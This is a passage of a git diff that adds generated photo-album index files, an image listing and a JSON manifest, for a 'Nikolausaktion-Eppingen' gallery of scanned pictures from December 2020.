+0100 + + + + + slides/S22C-620121516341_0001.jpg + + + S22C-620121516342_0001 + slides/S22C-620121516342_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516342_0001.jpg + + + S22C-620121516343_0001 + slides/S22C-620121516343_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516343_0001.jpg + + + S22C-620121516350_0001 + slides/S22C-620121516350_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516350_0001.jpg + + + S22C-620121516351_0001 + slides/S22C-620121516351_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516351_0001.jpg + + + S22C-620121516353_0001 + slides/S22C-620121516353_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516353_0001.jpg + + + S22C-620121516354_0001 + slides/S22C-620121516354_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516354_0001.jpg + + + S22C-620121516360_0001 + slides/S22C-620121516360_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516360_0001.jpg + + + S22C-620121516361_0001 + slides/S22C-620121516361_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516361_0001.jpg + + + S22C-620121516362_0001 + slides/S22C-620121516362_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516362_0001.jpg + + + S22C-620121516363_0001 + slides/S22C-620121516363_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516363_0001.jpg + + + S22C-620121516364_0001 + slides/S22C-620121516364_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516364_0001.jpg + + + S22C-620121516370_0001 + slides/S22C-620121516370_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516370_0001.jpg + + + S22C-620121516371_0001 + slides/S22C-620121516371_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516371_0001.jpg + + + S22C-620121516372_0001 + slides/S22C-620121516372_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516372_0001.jpg + + + S22C-620121516373_0001 + slides/S22C-620121516373_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516373_0001.jpg + + + S22C-620121516374_0001 + slides/S22C-620121516374_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516374_0001.jpg + + + S22C-620121516380_0001 + slides/S22C-620121516380_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516380_0001.jpg + + + S22C-620121516381_0001 + slides/S22C-620121516381_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516381_0001.jpg + + + S22C-620121516382_0001 + slides/S22C-620121516382_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516382_0001.jpg + + + S22C-620121516390_0001 + slides/S22C-620121516390_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516390_0001.jpg + + + S22C-620121516392_0001 + slides/S22C-620121516392_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516392_0001.jpg + + + S22C-620121516400_0001 + slides/S22C-620121516400_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516400_0001.jpg + + + S22C-620121516401_0001 + slides/S22C-620121516401_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516401_0001.jpg + + + S22C-620121516410_0001 + slides/S22C-620121516410_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516410_0001.jpg + + + S22C-620121516411_0001 + slides/S22C-620121516411_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516411_0001.jpg + + + S22C-620121516412_0001 + slides/S22C-620121516412_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516412_0001.jpg + + + S22C-620121516413_0001 + slides/S22C-620121516413_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516413_0001.jpg + + + S22C-620121516414_0001 + slides/S22C-620121516414_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516414_0001.jpg + + + S22C-620121516420_0001 + slides/S22C-620121516420_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516420_0001.jpg + + + S22C-620121516421_0001 + slides/S22C-620121516421_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516421_0001.jpg + + + S22C-620121516422_0001 + slides/S22C-620121516422_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516422_0001.jpg + + + S22C-620121516443_0001 + slides/S22C-620121516443_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516443_0001.jpg + + + S22C-620121516444_0001 + slides/S22C-620121516444_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516444_0001.jpg + + + S22C-620121516451_0001 + slides/S22C-620121516451_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516451_0001.jpg + + + S22C-620121516452_0001 + slides/S22C-620121516452_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516452_0001.jpg + + + S22C-620121516460_0001 + slides/S22C-620121516460_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516460_0001.jpg + + + S22C-620121516461_0001 + slides/S22C-620121516461_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516461_0001.jpg + + + S22C-620121516462_0001 + slides/S22C-620121516462_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516462_0001.jpg + + + S22C-620121516463_0001 + slides/S22C-620121516463_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516463_0001.jpg + + + S22C-620121516470_0001 + slides/S22C-620121516470_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516470_0001.jpg + + + S22C-620121516471_0001 + slides/S22C-620121516471_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516471_0001.jpg + + + S22C-620121516472_0001 + slides/S22C-620121516472_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516472_0001.jpg + + + S22C-620121516473_0001 + slides/S22C-620121516473_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516473_0001.jpg + + + S22C-620121516474_0001 + slides/S22C-620121516474_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516474_0001.jpg + + + S22C-620121516480_0001 + slides/S22C-620121516480_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516480_0001.jpg + + + S22C-620121516481_0001 + slides/S22C-620121516481_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516481_0001.jpg + + + S22C-620121516482_0001 + slides/S22C-620121516482_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516482_0001.jpg + + + S22C-620121516484_0001 + slides/S22C-620121516484_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516484_0001.jpg + + + S22C-620121516491_0001 + slides/S22C-620121516491_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516491_0001.jpg + + + S22C-620121516492_0001 + slides/S22C-620121516492_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516492_0001.jpg + + + S22C-620121516493_0001 + slides/S22C-620121516493_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516493_0001.jpg + + + S22C-620121516494_0001 + slides/S22C-620121516494_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516494_0001.jpg + + + S22C-620121516500_0001 + slides/S22C-620121516500_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516500_0001.jpg + + + S22C-620121516501_0001 + slides/S22C-620121516501_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516501_0001.jpg + + + S22C-620121516502_0001 + slides/S22C-620121516502_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516502_0001.jpg + + + S22C-620121516503_0001 + slides/S22C-620121516503_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516503_0001.jpg + + + S22C-620121516504_0001 + slides/S22C-620121516504_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516504_0001.jpg + + + S22C-620121516505_0001 + slides/S22C-620121516505_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516505_0001.jpg + + + S22C-620121516510_0001 + slides/S22C-620121516510_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516510_0001.jpg + + + S22C-620121516511_0001 + slides/S22C-620121516511_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516511_0001.jpg + + + S22C-620121516512_0001 + slides/S22C-620121516512_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516512_0001.jpg + + + S22C-620121516520_0001 + slides/S22C-620121516520_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516520_0001.jpg + + + S22C-620121516521_0001 + slides/S22C-620121516521_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516521_0001.jpg + + + S22C-620121516570_0001 + slides/S22C-620121516570_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121516570_0001.jpg + + + S22C-620121517000_0001 + slides/S22C-620121517000_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517000_0001.jpg + + + S22C-620121517001_0001 + slides/S22C-620121517001_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517001_0001.jpg + + + S22C-620121517002_0001 + slides/S22C-620121517002_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517002_0001.jpg + + + S22C-620121517003_0001 + slides/S22C-620121517003_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517003_0001.jpg + + + S22C-620121517010_0001 + slides/S22C-620121517010_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517010_0001.jpg + + + S22C-620121517012_0001 + slides/S22C-620121517012_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517012_0001.jpg + + + S22C-620121517014_0001 + slides/S22C-620121517014_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517014_0001.jpg + + + S22C-620121517020_0001 + slides/S22C-620121517020_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517020_0001.jpg + + + S22C-620121517021_0001 + slides/S22C-620121517021_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517021_0001.jpg + + + S22C-620121517022_0001 + slides/S22C-620121517022_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517022_0001.jpg + + + S22C-620121517023_0001 + slides/S22C-620121517023_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517023_0001.jpg + + + S22C-620121517024_0001 + slides/S22C-620121517024_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517024_0001.jpg + + + S22C-620121517025_0001 + slides/S22C-620121517025_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517025_0001.jpg + + + S22C-620121517030_0001 + slides/S22C-620121517030_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517030_0001.jpg + + + S22C-620121517032_0001 + slides/S22C-620121517032_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517032_0001.jpg + + + S22C-620121517033_0001 + slides/S22C-620121517033_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517033_0001.jpg + + + S22C-620121517034_0001 + slides/S22C-620121517034_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517034_0001.jpg + + + S22C-620121517035_0001 + slides/S22C-620121517035_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517035_0001.jpg + + + S22C-620121517040_0001 + slides/S22C-620121517040_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517040_0001.jpg + + + S22C-620121517041_0001 + slides/S22C-620121517041_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517041_0001.jpg + + + S22C-620121517050_0001 + slides/S22C-620121517050_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517050_0001.jpg + + + S22C-620121517051_0001 + slides/S22C-620121517051_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517051_0001.jpg + + + S22C-620121517052_0001 + slides/S22C-620121517052_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517052_0001.jpg + + + S22C-620121517053_0001 + slides/S22C-620121517053_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517053_0001.jpg + + + S22C-620121517060_0001 + slides/S22C-620121517060_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517060_0001.jpg + + + S22C-620121517061_0001 + slides/S22C-620121517061_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517061_0001.jpg + + + S22C-620121517062_0001 + slides/S22C-620121517062_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517062_0001.jpg + + + S22C-620121517063_0001 + slides/S22C-620121517063_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517063_0001.jpg + + + S22C-620121517070_0001 + slides/S22C-620121517070_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517070_0001.jpg + + + S22C-620121517071_0001 + slides/S22C-620121517071_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517071_0001.jpg + + + S22C-620121517072_0001 + slides/S22C-620121517072_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517072_0001.jpg + + + S22C-620121517083_0001 + slides/S22C-620121517083_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517083_0001.jpg + + + S22C-620121517084_0001 + slides/S22C-620121517084_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517084_0001.jpg + + + S22C-620121517085_0001 + slides/S22C-620121517085_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517085_0001.jpg + + + S22C-620121517090_0001 + slides/S22C-620121517090_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517090_0001.jpg + + + S22C-620121517091_0001 + slides/S22C-620121517091_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517091_0001.jpg + + + S22C-620121517093_0001 + slides/S22C-620121517093_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517093_0001.jpg + + + S22C-620121517100_0001 + slides/S22C-620121517100_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517100_0001.jpg + + + S22C-620121517101_0001 + slides/S22C-620121517101_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517101_0001.jpg + + + S22C-620121517103_0001 + slides/S22C-620121517103_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517103_0001.jpg + + + S22C-620121517104_0001 + slides/S22C-620121517104_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517104_0001.jpg + + + S22C-620121517110_0001 + slides/S22C-620121517110_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517110_0001.jpg + + + S22C-620121517112_0001 + slides/S22C-620121517112_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517112_0001.jpg + + + S22C-620121517114_0001 + slides/S22C-620121517114_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517114_0001.jpg + + + S22C-620121517115_0001 + slides/S22C-620121517115_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517115_0001.jpg + + + S22C-620121517120_0001 + slides/S22C-620121517120_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517120_0001.jpg + + + S22C-620121517121_0001 + slides/S22C-620121517121_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517121_0001.jpg + + + S22C-620121517122_0001 + slides/S22C-620121517122_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517122_0001.jpg + + + S22C-620121517123_0001 + slides/S22C-620121517123_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517123_0001.jpg + + + S22C-620121517124_0001 + slides/S22C-620121517124_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517124_0001.jpg + + + S22C-620121517125_0001 + slides/S22C-620121517125_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517125_0001.jpg + + + S22C-620121517132_0001 + slides/S22C-620121517132_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517132_0001.jpg + + + S22C-620121517133_0001 + slides/S22C-620121517133_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517133_0001.jpg + + + S22C-620121517134_0001 + slides/S22C-620121517134_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517134_0001.jpg + + + S22C-620121517135_0001 + slides/S22C-620121517135_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517135_0001.jpg + + + S22C-620121517140_0001 + slides/S22C-620121517140_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517140_0001.jpg + + + S22C-620121517141_0001 + slides/S22C-620121517141_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517141_0001.jpg + + + S22C-620121517142_0001 + slides/S22C-620121517142_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517142_0001.jpg + + + S22C-620121517143_0001 + slides/S22C-620121517143_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517143_0001.jpg + + + S22C-620121517144_0001 + slides/S22C-620121517144_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517144_0001.jpg + + + S22C-620121517150_0001 + slides/S22C-620121517150_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517150_0001.jpg + + + S22C-620121517151_0001 + slides/S22C-620121517151_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517151_0001.jpg + + + S22C-620121517152_0001 + slides/S22C-620121517152_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517152_0001.jpg + + + S22C-620121517153_0001 + slides/S22C-620121517153_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517153_0001.jpg + + + S22C-620121517154_0001 + slides/S22C-620121517154_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517154_0001.jpg + + + S22C-620121517155_0001 + slides/S22C-620121517155_0001.jpg + Sat, 19 Dec 2020 16:59:54 +0100 + + + + + slides/S22C-620121517155_0001.jpg + + + diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/data1.json b/public/fotoalbum/Nikolausaktion-Eppingen/album/data1.json new file mode 100644 index 00000000..19aa1929 --- /dev/null +++ b/public/fotoalbum/Nikolausaktion-Eppingen/album/data1.json @@ -0,0 +1 @@ +{"path":"Nikolausaktion-Eppingen","deepCounters":{"total":589,"images":588,"folders":1,"files":588},"counters":{"total":546,"images":545,"folders":1,"files":545},"thumb":{"path":"thumbs\/S22C-620121018464_0001.jpg","width":340,"height":260},"objects":[{"path":"Beilage%20STA","deepCounters":{"total":43,"images":43,"files":43},"counters":{"total":43,"images":43,"files":43},"thumb":{"path":"Beilage%20STA\/thumbs\/001%20%2837%29.jpg","width":340,"height":260},"thumbCaption":"

    Beilage STA<\/h3>","name":"Beilage STA","dates":{"dateRange":{"0":1607634733,"1":1608229250}},"fileDate":"2020-12-19T16:59:52.572Z","category":"folder"},{"path":"S22C-620121018464_0001.jpg","image":{"path":"slides\/S22C-620121018464_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121018464 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018464_0001.jpg","width":340,"height":260},"fileSize":352290,"name":"S22C-620121018464_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513303_0001.jpg","image":{"path":"slides\/S22C-620121513303_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513303 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513303_0001.jpg","width":340,"height":260},"fileSize":247702,"name":"S22C-620121513303_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019144_0001.jpg","image":{"path":"slides\/S22C-620121019144_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019144 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019144_0001.jpg","width":340,"height":260},"fileSize":947902,"name":"S22C-620121019144_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517004_0001.jpg","image":{"path":"slides\/S22C-620121517004_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121517004 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517004_0001.jpg","width":340,"height":260},"fileSize":588970,"name":"S22C-620121517004_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516465_0001.jpg","image":{"path":"slides\/S22C-620121516465_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516465 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516465_0001.jpg","width":340,"height":260},"fileSize":488692,"name":"S22C-620121516465_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516464_0001.jpg","image":{"path":"slides\/S22C-620121516464_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516464 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516464_0001.jpg","width":340,"height":260},"fileSize":315635,"name":"S22C-620121516464_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513181_0001.jpg","image":{"path":"slides\/S22C-620121513181_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513181 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513181_0001.jpg","width":340,"height":260},"fileSize":349852,"name":"S22C-620121513181_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019132_0001.jpg","image":{"path":"slides\/S22C-620121019132_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019132 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019132_0001.jpg","width":340,"height":260},"fileSize":525585,"name":"S22C-620121019132_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019073_0001.jpg","image":{"path":"slides\/S22C-620121019073_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019073 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019073_0001.jpg","width":340,"height":260},"fileSize":702849,"name":"S22C-620121019073_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513052_0001.jpg","image":{"path":"slides\/S22C-620121513052_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121513052 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513052_0001.jpg","width":340,"height":260},"fileSize":509709,"name":"S22C-620121513052_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121018481_0001.jpg","image":{"path":"slides\/S22C-620121018481_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121018481 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018481_0001.jpg","width":340,"height":260},"fileSize":447996,"name":"S22C-620121018481_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516450_0001.jpg","image":{"path":"slides\/S22C-620121516450_0001.jpg","width":567,"height":800},"imageCaption":"
    S22C-620121516450 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516450_0001.jpg","width":340,"height":260},"fileSize":159206,"name":"S22C-620121516450_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517031_0001.jpg","image":{"path":"slides\/S22C-620121517031_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121517031 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517031_0001.jpg","width":340,"height":260},"fileSize":223196,"name":"S22C-620121517031_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019031_0001.jpg","image":{"path":"slides\/S22C-620121019031_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019031 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019031_0001.jpg","width":340,"height":260},"fileSize":1206819,"name":"S22C-620121019031_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121515441_0001.jpg","image":{"path":"slides\/S22C-620121515441_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121515441 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515441_0001.jpg","width":340,"height":260},"fileSize":533403,"name":"S22C-620121515441_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121018532_0001.jpg","image":{"path":"slides\/S22C-620121018532_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121018532 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018532_0001.jpg","width":340,"height":260},"fileSize":353358,"name":"S22C-620121018532_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121517013_0001.jpg","image":{"path":"slides\/S22C-620121517013_0001.jpg","width":566,"height":800},"imageCaption":"
